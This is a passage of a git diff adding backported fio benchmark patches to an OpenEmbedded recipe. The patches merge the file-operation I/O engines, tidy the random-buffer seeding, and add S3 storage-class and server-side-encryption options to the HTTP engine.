++ for (p = 0; p < CONFIG_SEED_BUCKETS; ++p) {
++ b[p] = s[p];
++ s[p] = __hash_u64(s[p]);
++ }
++ }
++
++ __fill_random_buf_small(b, rest, s[0]);
++}
++
+ uint64_t fill_random_buf(struct frand_state *fs, void *buf,
+ unsigned int len)
+ {
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0003-lib-rand-get-rid-of-unused-MAX_SEED_BUCKETS.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0003-lib-rand-get-rid-of-unused-MAX_SEED_BUCKETS.patch
new file mode 100644
index 0000000000..fc4af0a519
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0003-lib-rand-get-rid-of-unused-MAX_SEED_BUCKETS.patch
@@ -0,0 +1,31 @@
+From f4dd3f2ad435a75862ad3f34a661b169f72c7885 Mon Sep 17 00:00:00 2001
+From: Jens Axboe <axboe@kernel.dk>
+Date: Wed, 10 Aug 2022 09:51:49 -0600
+Subject: [PATCH] lib/rand: get rid of unused MAX_SEED_BUCKETS
+
+It's only used to size the array, we don't need it.
+
+Signed-off-by: Jens Axboe <axboe@kernel.dk>
+---
+ lib/rand.c | 8 ++------
+ 1 file changed, 2 insertions(+), 6 deletions(-)
+
+diff --git a/lib/rand.c b/lib/rand.c
+index 1ce4a849..0e787a62 100644
+--- a/lib/rand.c
++++ b/lib/rand.c
+@@ -112,12 +112,8 @@ void __fill_random_buf_small(void *buf, unsigned int len, uint64_t seed)
+
+ void __fill_random_buf(void *buf, unsigned int len, uint64_t seed)
+ {
+-#define MAX_SEED_BUCKETS 16
+- static uint64_t prime[MAX_SEED_BUCKETS] = {1, 2, 3, 5,
+- 7, 11, 13, 17,
+- 19, 23, 29, 31,
+- 37, 41, 43, 47};
+-
++ static uint64_t prime[] = {1, 2, 3, 5, 7, 11, 13, 17,
++ 19, 23, 29, 31, 37, 41, 43, 47};
+ uint64_t *b, *e, s[CONFIG_SEED_BUCKETS];
+ unsigned int rest;
+ int p;
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0004-ioengines-merge-filecreate-filestat-filedelete-engin.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0004-ioengines-merge-filecreate-filestat-filedelete-engin.patch
new file mode 100644
index 0000000000..1b59ad304c
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0004-ioengines-merge-filecreate-filestat-filedelete-engin.patch
@@ -0,0 +1,800 @@
+From 1cfbaff9806f17c2afbabe79c1c87b96eba7f35a Mon Sep 17 00:00:00 2001
+From: "Friendy.Su@sony.com" <Friendy.Su@sony.com>
+Date: Mon, 8 Aug 2022 08:35:50 +0000
+Subject: [PATCH] ioengines: merge filecreate, filestat, filedelete engines to
+ fileoperations.c
+
+file operation engines have similar structure, implement them
+in one file.
+
+Signed-off-by: friendy-su <friendy.su@sony.com>
+---
+ Makefile | 2 +-
+ engines/filecreate.c | 118 ---------------
+ engines/filedelete.c | 115 --------------
+ engines/fileoperations.c | 318 +++++++++++++++++++++++++++++++++++++++
+ engines/filestat.c | 190 -----------------------
+ 5 files changed, 319 insertions(+), 424 deletions(-)
+ delete mode 100644 engines/filecreate.c
+ delete mode 100644 engines/filedelete.c
+ create mode 100644 engines/fileoperations.c
+ delete mode 100644 engines/filestat.c
+
+diff --git a/Makefile b/Makefile
+index 188a74d7..634d2c93 100644
+--- a/Makefile
++++ b/Makefile
+@@ -56,7 +56,7 @@ SOURCE := $(sort $(patsubst $(SRCDIR)/%,%,$(wildcard $(SRCDIR)/crc/*.c)) \
+ pshared.c options.c \
+ smalloc.c filehash.c profile.c debug.c engines/cpu.c \
+ engines/mmap.c engines/sync.c engines/null.c engines/net.c \
+- engines/ftruncate.c engines/filecreate.c engines/filestat.c engines/filedelete.c \
++ engines/ftruncate.c engines/fileoperations.c \
+ engines/exec.c \
+ server.c client.c iolog.c backend.c libfio.c flow.c cconv.c \
+ gettime-thread.c helpers.c json.c idletime.c td_error.c \
+diff --git a/engines/filecreate.c b/engines/filecreate.c
+deleted file mode 100644
+index 7884752d..00000000
+--- a/engines/filecreate.c
++++ /dev/null
+@@ -1,118 +0,0 @@
+-/*
+- * filecreate engine
+- *
+- * IO engine that doesn't do any IO, just creates files and tracks the latency
+- * of the file creation.
+- */
+-#include <stdio.h>
+-#include <fcntl.h>
+-#include <errno.h>
+-
+-#include "../fio.h"
+-
+-struct fc_data {
+- enum fio_ddir stat_ddir;
+-};
+-
+-static int open_file(struct thread_data *td, struct fio_file *f)
+-{
+- struct timespec start;
+- int do_lat = !td->o.disable_lat;
+-
+- dprint(FD_FILE, "fd open %s\n", f->file_name);
+-
+- if (f->filetype != FIO_TYPE_FILE) {
+- log_err("fio: only files are supported\n");
+- return 1;
+- }
+- if (!strcmp(f->file_name, "-")) {
+- log_err("fio: can't read/write to stdin/out\n");
+- return 1;
+- }
+-
+- if (do_lat)
+- fio_gettime(&start, NULL);
+-
+- f->fd = open(f->file_name, O_CREAT|O_RDWR, 0600);
+-
+- if (f->fd == -1) {
+- char buf[FIO_VERROR_SIZE];
+- int e = errno;
+-
+- snprintf(buf, sizeof(buf), "open(%s)", f->file_name);
+- td_verror(td, e, buf);
+- return 1;
+- }
+-
+- if (do_lat) {
+- struct fc_data *data = td->io_ops_data;
+- uint64_t nsec;
+-
+- nsec = ntime_since_now(&start);
+- add_clat_sample(td, data->stat_ddir, nsec, 0, 0, 0, 0);
+- }
+-
+- return 0;
+-}
+-
+-static enum fio_q_status queue_io(struct thread_data *td,
+- struct io_u fio_unused *io_u)
+-{
+- return FIO_Q_COMPLETED;
+-}
+-
+-/*
+- * Ensure that we at least have a block size worth of IO to do for each
+- * file. If the job file has td->o.size < nr_files * block_size, then
+- * fio won't do anything.
+- */
+-static int get_file_size(struct thread_data *td, struct fio_file *f)
+-{
+- f->real_file_size = td_min_bs(td);
+- return 0;
+-}
+-
+-static int init(struct thread_data *td)
+-{
+- struct fc_data *data;
+-
+- data = calloc(1, sizeof(*data));
+-
+- if (td_read(td))
+- data->stat_ddir = DDIR_READ;
+- else if (td_write(td))
+- data->stat_ddir = DDIR_WRITE;
+-
+- td->io_ops_data = data;
+- return 0;
+-}
+-
+-static void cleanup(struct thread_data *td)
+-{
+- struct fc_data *data = td->io_ops_data;
+-
+- free(data);
+-}
+-
+-static struct ioengine_ops ioengine = {
+- .name = "filecreate",
+- .version = FIO_IOOPS_VERSION,
+- .init = init,
+- .cleanup = cleanup,
+- .queue = queue_io,
+- .get_file_size = get_file_size,
+- .open_file = open_file,
+- .close_file = generic_close_file,
+- .flags = FIO_DISKLESSIO | FIO_SYNCIO | FIO_FAKEIO |
+- FIO_NOSTATS | FIO_NOFILEHASH,
+-};
+-
+-static void fio_init fio_filecreate_register(void)
+-{
+- register_ioengine(&ioengine);
+-}
+-
+-static void fio_exit fio_filecreate_unregister(void)
+-{
+- unregister_ioengine(&ioengine);
+-}
+diff --git a/engines/filedelete.c b/engines/filedelete.c
+deleted file mode 100644
+index df388ac9..00000000
+--- a/engines/filedelete.c
++++ /dev/null
+@@ -1,115 +0,0 @@
+-/*
+- * file delete engine
+- *
+- * IO engine that doesn't do any IO, just delete files and track the latency
+- * of the file deletion.
+- */
+-#include <stdio.h>
+-#include <fcntl.h>
+-#include <errno.h>
+-#include <sys/types.h>
+-#include <unistd.h>
+-#include "../fio.h"
+-
+-struct fc_data {
+- enum fio_ddir stat_ddir;
+-};
+-
+-static int delete_file(struct thread_data *td, struct fio_file *f)
+-{
+- struct timespec start;
+- int do_lat = !td->o.disable_lat;
+- int ret;
+-
+- dprint(FD_FILE, "fd delete %s\n", f->file_name);
+-
+- if (f->filetype != FIO_TYPE_FILE) {
+- log_err("fio: only files are supported\n");
+- return 1;
+- }
+- if (!strcmp(f->file_name, "-")) {
+- log_err("fio: can't read/write to stdin/out\n");
+- return 1;
+- }
+-
+- if (do_lat)
+- fio_gettime(&start, NULL);
+-
+- ret = unlink(f->file_name);
+-
+- if (ret == -1) {
+- char buf[FIO_VERROR_SIZE];
+- int e = errno;
+-
+- snprintf(buf, sizeof(buf), "delete(%s)", f->file_name);
+- td_verror(td, e, buf);
+- return 1;
+- }
+-
+- if (do_lat) {
+- struct fc_data *data = td->io_ops_data;
+- uint64_t nsec;
+-
+- nsec = ntime_since_now(&start);
+- add_clat_sample(td, data->stat_ddir, nsec, 0, 0, 0, 0);
+- }
+-
+- return 0;
+-}
+-
+-
+-static enum fio_q_status queue_io(struct thread_data *td, struct io_u fio_unused *io_u)
+-{
+- return FIO_Q_COMPLETED;
+-}
+-
+-static int init(struct thread_data *td)
+-{
+- struct fc_data *data;
+-
+- data = calloc(1, sizeof(*data));
+-
+- if (td_read(td))
+- data->stat_ddir = DDIR_READ;
+- else if (td_write(td))
+- data->stat_ddir = DDIR_WRITE;
+-
+- td->io_ops_data = data;
+- return 0;
+-}
+-
+-static int delete_invalidate(struct thread_data *td, struct fio_file *f)
+-{
+- /* do nothing because file not opened */
+- return 0;
+-}
+-
+-static void cleanup(struct thread_data *td)
+-{
+- struct fc_data *data = td->io_ops_data;
+-
+- free(data);
+-}
+-
+-static struct ioengine_ops ioengine = {
+- .name = "filedelete",
+- .version = FIO_IOOPS_VERSION,
+- .init = init,
+- .invalidate = delete_invalidate,
+- .cleanup = cleanup,
+- .queue = queue_io,
+- .get_file_size = generic_get_file_size,
+- .open_file = delete_file,
+- .flags = FIO_SYNCIO | FIO_FAKEIO |
+- FIO_NOSTATS | FIO_NOFILEHASH,
+-};
+-
+-static void fio_init fio_filedelete_register(void)
+-{
+- register_ioengine(&ioengine);
+-}
+-
+-static void fio_exit fio_filedelete_unregister(void)
+-{
+- unregister_ioengine(&ioengine);
+-}
+diff --git a/engines/fileoperations.c b/engines/fileoperations.c
+new file mode 100644
+index 00000000..1db60da1
+--- /dev/null
++++ b/engines/fileoperations.c
+@@ -0,0 +1,318 @@
++/*
++ * fileoperations engine
++ *
++ * IO engine that doesn't do any IO, just operates files and tracks the latency
++ * of the file operation.
++ */
++#include <stdio.h>
++#include <stdlib.h>
++#include <fcntl.h>
++#include <errno.h>
++#include <sys/types.h>
++#include <sys/stat.h>
++#include <unistd.h>
++#include "../fio.h"
++#include "../optgroup.h"
++#include "../oslib/statx.h"
++
++
++struct fc_data {
++ enum fio_ddir stat_ddir;
++};
++
++struct filestat_options {
++ void *pad;
++ unsigned int stat_type;
++};
++
++enum {
++ FIO_FILESTAT_STAT = 1,
++ FIO_FILESTAT_LSTAT = 2,
++ FIO_FILESTAT_STATX = 3,
++};
++
++static struct fio_option options[] = {
++ {
++ .name = "stat_type",
++ .lname = "stat_type",
++ .type = FIO_OPT_STR,
++ .off1 = offsetof(struct filestat_options, stat_type),
++ .help = "Specify stat system call type to measure lookup/getattr performance",
++ .def = "stat",
++ .posval = {
++ { .ival = "stat",
++ .oval = FIO_FILESTAT_STAT,
++ .help = "Use stat(2)",
++ },
++ { .ival = "lstat",
++ .oval = FIO_FILESTAT_LSTAT,
++ .help = "Use lstat(2)",
++ },
++ { .ival = "statx",
++ .oval = FIO_FILESTAT_STATX,
++ .help = "Use statx(2) if exists",
++ },
++ },
++ .category = FIO_OPT_C_ENGINE,
++ .group = FIO_OPT_G_FILESTAT,
++ },
++ {
++ .name = NULL,
++ },
++};
++
++
++static int open_file(struct thread_data *td, struct fio_file *f)
++{
++ struct timespec start;
++ int do_lat = !td->o.disable_lat;
++
++ dprint(FD_FILE, "fd open %s\n", f->file_name);
++
++ if (f->filetype != FIO_TYPE_FILE) {
++ log_err("fio: only files are supported\n");
++ return 1;
++ }
++ if (!strcmp(f->file_name, "-")) {
++ log_err("fio: can't read/write to stdin/out\n");
++ return 1;
++ }
++
++ if (do_lat)
++ fio_gettime(&start, NULL);
++
++ f->fd = open(f->file_name, O_CREAT|O_RDWR, 0600);
++
++ if (f->fd == -1) {
++ char buf[FIO_VERROR_SIZE];
++ int e = errno;
++
++ snprintf(buf, sizeof(buf), "open(%s)", f->file_name);
++ td_verror(td, e, buf);
++ return 1;
++ }
++
++ if (do_lat) {
++ struct fc_data *data = td->io_ops_data;
++ uint64_t nsec;
++
++ nsec = ntime_since_now(&start);
++ add_clat_sample(td, data->stat_ddir, nsec, 0, 0, 0, 0);
++ }
++
++ return 0;
++}
++
++static int stat_file(struct thread_data *td, struct fio_file *f)
++{
++ struct filestat_options *o = td->eo;
++ struct timespec start;
++ int do_lat = !td->o.disable_lat;
++ struct stat statbuf;
++#ifndef WIN32
++ struct statx statxbuf;
++ char *abspath;
++#endif
++ int ret;
++
++ dprint(FD_FILE, "fd stat %s\n", f->file_name);
++
++ if (f->filetype != FIO_TYPE_FILE) {
++ log_err("fio: only files are supported\n");
++ return 1;
++ }
++ if (!strcmp(f->file_name, "-")) {
++ log_err("fio: can't read/write to stdin/out\n");
++ return 1;
++ }
++
++ if (do_lat)
++ fio_gettime(&start, NULL);
++
++ switch (o->stat_type) {
++ case FIO_FILESTAT_STAT:
++ ret = stat(f->file_name, &statbuf);
++ break;
++ case FIO_FILESTAT_LSTAT:
++ ret = lstat(f->file_name, &statbuf);
++ break;
++ case FIO_FILESTAT_STATX:
++#ifndef WIN32
++ abspath = realpath(f->file_name, NULL);
++ if (abspath) {
++ ret = statx(-1, abspath, 0, STATX_ALL, &statxbuf);
++ free(abspath);
++ } else
++ ret = -1;
++#else
++ ret = -1;
++#endif
++ break;
++ default:
++ ret = -1;
++ break;
++ }
++
++ if (ret == -1) {
++ char buf[FIO_VERROR_SIZE];
++ int e = errno;
++
++ snprintf(buf, sizeof(buf), "stat(%s) type=%u", f->file_name,
++ o->stat_type);
++ td_verror(td, e, buf);
++ return 1;
++ }
++
++ if (do_lat) {
++ struct fc_data *data = td->io_ops_data;
++ uint64_t nsec;
++
++ nsec = ntime_since_now(&start);
++ add_clat_sample(td, data->stat_ddir, nsec, 0, 0, 0, 0);
++ }
++
++ return 0;
++}
++
++
++static int delete_file(struct thread_data *td, struct fio_file *f)
++{
++ struct timespec start;
++ int do_lat = !td->o.disable_lat;
++ int ret;
++
++ dprint(FD_FILE, "fd delete %s\n", f->file_name);
++
++ if (f->filetype != FIO_TYPE_FILE) {
++ log_err("fio: only files are supported\n");
++ return 1;
++ }
++ if (!strcmp(f->file_name, "-")) {
++ log_err("fio: can't read/write to stdin/out\n");
++ return 1;
++ }
++
++ if (do_lat)
++ fio_gettime(&start, NULL);
++
++ ret = unlink(f->file_name);
++
++ if (ret == -1) {
++ char buf[FIO_VERROR_SIZE];
++ int e = errno;
++
++ snprintf(buf, sizeof(buf), "delete(%s)", f->file_name);
++ td_verror(td, e, buf);
++ return 1;
++ }
++
++ if (do_lat) {
++ struct fc_data *data = td->io_ops_data;
++ uint64_t nsec;
++
++ nsec = ntime_since_now(&start);
++ add_clat_sample(td, data->stat_ddir, nsec, 0, 0, 0, 0);
++ }
++
++ return 0;
++}
++
++static int invalidate_do_nothing(struct thread_data *td, struct fio_file *f)
++{
++ /* do nothing because file not opened */
++ return 0;
++}
++
++static enum fio_q_status queue_io(struct thread_data *td, struct io_u *io_u)
++{
++ return FIO_Q_COMPLETED;
++}
++
++/*
++ * Ensure that we at least have a block size worth of IO to do for each
++ * file. If the job file has td->o.size < nr_files * block_size, then
++ * fio won't do anything.
++ */
++static int get_file_size(struct thread_data *td, struct fio_file *f)
++{
++ f->real_file_size = td_min_bs(td);
++ return 0;
++}
++
++static int init(struct thread_data *td)
++{
++ struct fc_data *data;
++
++ data = calloc(1, sizeof(*data));
++
++ if (td_read(td))
++ data->stat_ddir = DDIR_READ;
++ else if (td_write(td))
++ data->stat_ddir = DDIR_WRITE;
++
++ td->io_ops_data = data;
++ return 0;
++}
++
++static void cleanup(struct thread_data *td)
++{
++ struct fc_data *data = td->io_ops_data;
++
++ free(data);
++}
++
++static struct ioengine_ops ioengine_filecreate = {
++ .name = "filecreate",
++ .version = FIO_IOOPS_VERSION,
++ .init = init,
++ .cleanup = cleanup,
++ .queue = queue_io,
++ .get_file_size = get_file_size,
++ .open_file = open_file,
++ .close_file = generic_close_file,
++ .flags = FIO_DISKLESSIO | FIO_SYNCIO | FIO_FAKEIO |
++ FIO_NOSTATS | FIO_NOFILEHASH,
++};
++
++static struct ioengine_ops ioengine_filestat = {
++ .name = "filestat",
++ .version = FIO_IOOPS_VERSION,
++ .init = init,
++ .cleanup = cleanup,
++ .queue = queue_io,
++ .invalidate = invalidate_do_nothing,
++ .get_file_size = generic_get_file_size,
++ .open_file = stat_file,
++ .flags = FIO_SYNCIO | FIO_FAKEIO |
++ FIO_NOSTATS | FIO_NOFILEHASH,
++ .options = options,
++ .option_struct_size = sizeof(struct filestat_options),
++};
++
++static struct ioengine_ops ioengine_filedelete = {
++ .name = "filedelete",
++ .version = FIO_IOOPS_VERSION,
++ .init = init,
++ .invalidate = invalidate_do_nothing,
++ .cleanup = cleanup,
++ .queue = queue_io,
++ .get_file_size = generic_get_file_size,
++ .open_file = delete_file,
++ .flags = FIO_SYNCIO | FIO_FAKEIO |
++ FIO_NOSTATS | FIO_NOFILEHASH,
++};
++
++
++static void fio_init fio_fileoperations_register(void)
++{
++ register_ioengine(&ioengine_filecreate);
++ register_ioengine(&ioengine_filestat);
++ register_ioengine(&ioengine_filedelete);
++}
++
++static void fio_exit fio_fileoperations_unregister(void)
++{
++ unregister_ioengine(&ioengine_filecreate);
++ unregister_ioengine(&ioengine_filestat);
++ unregister_ioengine(&ioengine_filedelete);
++}
+diff --git a/engines/filestat.c b/engines/filestat.c
+deleted file mode 100644
+index e587eb54..00000000
+--- a/engines/filestat.c
++++ /dev/null
+@@ -1,190 +0,0 @@
+-/*
+- * filestat engine
+- *
+- * IO engine that doesn't do any IO, just stat files and tracks the latency
+- * of the file stat.
+- */
+-#include <stdio.h>
+-#include <stdlib.h>
+-#include <fcntl.h>
+-#include <errno.h>
+-#include <sys/types.h>
+-#include <sys/stat.h>
+-#include <unistd.h>
+-#include "../fio.h"
+-#include "../optgroup.h"
+-#include "../oslib/statx.h"
+-
+-struct fc_data {
+- enum fio_ddir stat_ddir;
+-};
+-
+-struct filestat_options {
+- void *pad;
+- unsigned int stat_type;
+-};
+-
+-enum {
+- FIO_FILESTAT_STAT = 1,
+- FIO_FILESTAT_LSTAT = 2,
+- FIO_FILESTAT_STATX = 3,
+-};
+-
+-static struct fio_option options[] = {
+- {
+- .name = "stat_type",
+- .lname = "stat_type",
+- .type = FIO_OPT_STR,
+- .off1 = offsetof(struct filestat_options, stat_type),
+- .help = "Specify stat system call type to measure lookup/getattr performance",
+- .def = "stat",
+- .posval = {
+- { .ival = "stat",
+- .oval = FIO_FILESTAT_STAT,
+- .help = "Use stat(2)",
+- },
+- { .ival = "lstat",
+- .oval = FIO_FILESTAT_LSTAT,
+- .help = "Use lstat(2)",
+- },
+- { .ival = "statx",
+- .oval = FIO_FILESTAT_STATX,
+- .help = "Use statx(2) if exists",
+- },
+- },
+- .category = FIO_OPT_C_ENGINE,
+- .group = FIO_OPT_G_FILESTAT,
+- },
+- {
+- .name = NULL,
+- },
+-};
+-
+-static int stat_file(struct thread_data *td, struct fio_file *f)
+-{
+- struct filestat_options *o = td->eo;
+- struct timespec start;
+- int do_lat = !td->o.disable_lat;
+- struct stat statbuf;
+-#ifndef WIN32
+- struct statx statxbuf;
+- char *abspath;
+-#endif
+- int ret;
+-
+- dprint(FD_FILE, "fd stat %s\n", f->file_name);
+-
+- if (f->filetype != FIO_TYPE_FILE) {
+- log_err("fio: only files are supported\n");
+- return 1;
+- }
+- if (!strcmp(f->file_name, "-")) {
+- log_err("fio: can't read/write to stdin/out\n");
+- return 1;
+- }
+-
+- if (do_lat)
+- fio_gettime(&start, NULL);
+-
+- switch (o->stat_type){
+- case FIO_FILESTAT_STAT:
+- ret = stat(f->file_name, &statbuf);
+- break;
+- case FIO_FILESTAT_LSTAT:
+- ret = lstat(f->file_name, &statbuf);
+- break;
+- case FIO_FILESTAT_STATX:
+-#ifndef WIN32
+- abspath = realpath(f->file_name, NULL);
+- if (abspath) {
+- ret = statx(-1, abspath, 0, STATX_ALL, &statxbuf);
+- free(abspath);
+- } else
+- ret = -1;
+-#else
+- ret = -1;
+-#endif
+- break;
+- default:
+- ret = -1;
+- break;
+- }
+-
+- if (ret == -1) {
+- char buf[FIO_VERROR_SIZE];
+- int e = errno;
+-
+- snprintf(buf, sizeof(buf), "stat(%s) type=%u", f->file_name,
+- o->stat_type);
+- td_verror(td, e, buf);
+- return 1;
+- }
+-
+- if (do_lat) {
+- struct fc_data *data = td->io_ops_data;
+- uint64_t nsec;
+-
+- nsec = ntime_since_now(&start);
+- add_clat_sample(td, data->stat_ddir, nsec, 0, 0, 0, 0);
+- }
+-
+- return 0;
+-}
+-
+-static enum fio_q_status queue_io(struct thread_data *td, struct io_u fio_unused *io_u)
+-{
+- return FIO_Q_COMPLETED;
+-}
+-
+-static int init(struct thread_data *td)
+-{
+- struct fc_data *data;
+-
+- data = calloc(1, sizeof(*data));
+-
+- if (td_read(td))
+- data->stat_ddir = DDIR_READ;
+- else if (td_write(td))
+- data->stat_ddir = DDIR_WRITE;
+-
+- td->io_ops_data = data;
+- return 0;
+-}
+-
+-static void cleanup(struct thread_data *td)
+-{
+- struct fc_data *data = td->io_ops_data;
+-
+- free(data);
+-}
+-
+-static int stat_invalidate(struct thread_data *td, struct fio_file *f)
+-{
+- /* do nothing because file not opened */
+- return 0;
+-}
+-
+-static struct ioengine_ops ioengine = {
+- .name = "filestat",
+- .version = FIO_IOOPS_VERSION,
+- .init = init,
+- .cleanup = cleanup,
+- .queue = queue_io,
+- .invalidate = stat_invalidate,
+- .get_file_size = generic_get_file_size,
+- .open_file = stat_file,
+- .flags = FIO_SYNCIO | FIO_FAKEIO |
+- FIO_NOSTATS | FIO_NOFILEHASH,
+- .options = options,
+- .option_struct_size = sizeof(struct filestat_options),
+-};
+-
+-static void fio_init fio_filestat_register(void)
+-{
+- register_ioengine(&ioengine);
+-}
+-
+-static void fio_exit fio_filestat_unregister(void)
+-{
+- unregister_ioengine(&ioengine);
+-}
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0005-engines-http-Add-storage-class-option-for-s3.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0005-engines-http-Add-storage-class-option-for-s3.patch
new file mode 100644
index 0000000000..587df1adae
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0005-engines-http-Add-storage-class-option-for-s3.patch
@@ -0,0 +1,87 @@
+From 5b0b5247f0770a89084964274bb951f5a4393299 Mon Sep 17 00:00:00 2001
+From: "Feng, Hualong" <hualong.feng@intel.com>
+Date: Wed, 20 Jul 2022 12:01:35 +0800
+Subject: [PATCH] engines/http: Add storage class option for s3
+
+Amazon S3 offers a range of storage classes that you can choose from
+based on the data access, resiliency, and cost requirements of your
+workloads. (https://aws.amazon.com/s3/storage-classes/)
+
+For example, we have **STANDARD** storage class to test normal
+workload, and have **COLD** storage class to test the workload
+with gzip compression. It is convenient to select which
+storage class to access for different kinds data.
+
+Signed-off-by: Feng, Hualong <hualong.feng@intel.com>
+---
+ engines/http.c | 25 +++++++++++++++++++------
+ 1 file changed, 19 insertions(+), 6 deletions(-)
+
+diff --git a/engines/http.c b/engines/http.c
+index 1de9e66c..dbcde287 100644
+--- a/engines/http.c
++++ b/engines/http.c
+@@ -57,6 +57,7 @@ struct http_options {
+ char *s3_key;
+ char *s3_keyid;
+ char *s3_region;
++ char *s3_storage_class;
+ char *swift_auth_token;
+ int verbose;
+ unsigned int mode;
+@@ -161,6 +162,16 @@ static struct fio_option options[] = {
+ .category = FIO_OPT_C_ENGINE,
+ .group = FIO_OPT_G_HTTP,
+ },
++ {
++ .name = "http_s3_storage_class",
++ .lname = "S3 Storage class",
++ .type = FIO_OPT_STR_STORE,
++ .help = "S3 Storage Class",
++ .off1 = offsetof(struct http_options, s3_storage_class),
++ .def = "STANDARD",
++ .category = FIO_OPT_C_ENGINE,
++ .group = FIO_OPT_G_HTTP,
++ },
+ {
+ .name = "http_mode",
+ .lname = "Request mode to use",
+@@ -335,8 +346,8 @@ static void _add_aws_auth_header(CURL *curl, struct curl_slist *slist, struct ht
+ char date_iso[32];
+ char method[8];
+ char dkey[128];
+- char creq[512];
+- char sts[256];
++ char creq[4096];
++ char sts[512];
+ char s[512];
+ char *uri_encoded = NULL;
+ char *dsha = NULL;
+@@ -373,11 +384,12 @@ static void _add_aws_auth_header(CURL *curl, struct curl_slist *slist, struct ht
+ "host:%s\n"
+ "x-amz-content-sha256:%s\n"
+ "x-amz-date:%s\n"
++ "x-amz-storage-class:%s\n"
+ "\n"
+- "host;x-amz-content-sha256;x-amz-date\n"
++ "host;x-amz-content-sha256;x-amz-date;x-amz-storage-class\n"
+ "%s"
+ , method
+- , uri_encoded, o->host, dsha, date_iso, dsha);
++ , uri_encoded, o->host, dsha, date_iso, o->s3_storage_class, dsha);
+
+ csha = _gen_hex_sha256(creq, strlen(creq));
+ snprintf(sts, sizeof(sts), "AWS4-HMAC-SHA256\n%s\n%s/%s/%s/%s\n%s",
+@@ -400,9 +412,10 @@ static void _add_aws_auth_header(CURL *curl, struct curl_slist *slist, struct ht
+
+ snprintf(s, sizeof(s), "x-amz-date: %s", date_iso);
+ slist = curl_slist_append(slist, s);
+-
++ snprintf(s, sizeof(s), "x-amz-storage-class: %s", o->s3_storage_class);
++ slist = curl_slist_append(slist, s);
+ snprintf(s, sizeof(s), "Authorization: AWS4-HMAC-SHA256 Credential=%s/%s/%s/s3/aws4_request,"
+- "SignedHeaders=host;x-amz-content-sha256;x-amz-date,Signature=%s",
++ "SignedHeaders=host;x-amz-content-sha256;x-amz-date;x-amz-storage-class,Signature=%s",
+ o->s3_keyid, date_short, o->s3_region, signature);
+ slist = curl_slist_append(slist, s);
+
diff --git a/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0006-engines-http-Add-s3-crypto-options-for-s3.patch b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0006-engines-http-Add-s3-crypto-options-for-s3.patch
new file mode 100644
index 0000000000..d8222c4d1d
--- /dev/null
+++ b/meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0006-engines-http-Add-s3-crypto-options-for-s3.patch
@@ -0,0 +1,246 @@
+From d196fda02eb73958c2acd367de650858c6203420 Mon Sep 17 00:00:00 2001
+From: "Feng, Hualong" <hualong.feng@intel.com>
+Date: Wed, 20 Jul 2022 09:41:35 +0800
+Subject: [PATCH] engines/http: Add s3 crypto options for s3
+
+Server-side encryption is about protecting data at rest.
+(https://docs.aws.amazon.com/AmazonS3/latest/userguide/ServerSideEncryptionCustomerKeys.html)
+
+When we want to test server-side encryption, we need to specify
+server-side encryption with customer-provided encryption keys (SSE-C).
+The two option **http_s3_sse_customer_key** and
+**http_s3_sse_customer_algorithm** is for server-side encryption.
+
+Signed-off-by: Feng, Hualong <hualong.feng@intel.com>
+---
+ engines/http.c | 163 +++++++++++++++++++++++++++++++++++++++++++------
+ 1 file changed, 146 insertions(+), 17 deletions(-)
+
+diff --git a/engines/http.c b/engines/http.c
+index dbcde287..56dc7d1b 100644
+--- a/engines/http.c
++++ b/engines/http.c
+@@ -57,6 +57,8 @@ struct http_options {
+ char *s3_key;
+ char *s3_keyid;
+ char *s3_region;
++ char *s3_sse_customer_key;
++ char *s3_sse_customer_algorithm;
+ char *s3_storage_class;
+ char *swift_auth_token;
+ int verbose;
+@@ -162,6 +164,26 @@ static struct fio_option options[] = {
+ .category = FIO_OPT_C_ENGINE,
+ .group = FIO_OPT_G_HTTP,
+ },
++ {
++ .name = "http_s3_sse_customer_key",
++ .lname = "SSE Customer Key",
++ .type = FIO_OPT_STR_STORE,
++ .help = "S3 SSE Customer Key",
++ .off1 = offsetof(struct http_options, s3_sse_customer_key),
++ .def = "",
++ .category = FIO_OPT_C_ENGINE,
++ .group = FIO_OPT_G_HTTP,
++ },
++ {
++ .name = "http_s3_sse_customer_algorithm",
++ .lname = "SSE Customer Algorithm",
++ .type = FIO_OPT_STR_STORE,
++ .help = "S3 SSE Customer Algorithm",
++ .off1 = offsetof(struct http_options, s3_sse_customer_algorithm),
++ .def = "AES256",
++ .category = FIO_OPT_C_ENGINE,
++ .group = FIO_OPT_G_HTTP,
++ },
+ {
+ .name = "http_s3_storage_class",
+ .lname = "S3 Storage class",
+@@ -277,6 +299,54 @@ static char *_gen_hex_md5(const char *p, size_t len)
+ return _conv_hex(hash, MD5_DIGEST_LENGTH);
+ }
+
++static char *_conv_base64_encode(const unsigned char *p, size_t len)
++{
++ char *r, *ret;
++ int i;
++ static const char sEncodingTable[] = {
++ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
++ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
++ 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
++ 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
++ 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
++ 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
++ 'w', 'x', 'y', 'z', '0', '1', '2', '3',
++ '4', '5', '6', '7', '8', '9', '+', '/'
++ };
++
++ size_t out_len = 4 * ((len + 2) / 3);
++ ret = r = malloc(out_len + 1);
++
++ for (i = 0; i < len - 2; i += 3) {
++ *r++ = sEncodingTable[(p[i] >> 2) & 0x3F];
++ *r++ = sEncodingTable[((p[i] & 0x3) << 4) | ((int) (p[i + 1] & 0xF0) >> 4)];
++ *r++ = sEncodingTable[((p[i + 1] & 0xF) << 2) | ((int) (p[i + 2] & 0xC0) >> 6)];
++ *r++ = sEncodingTable[p[i + 2] & 0x3F];
++ }
++
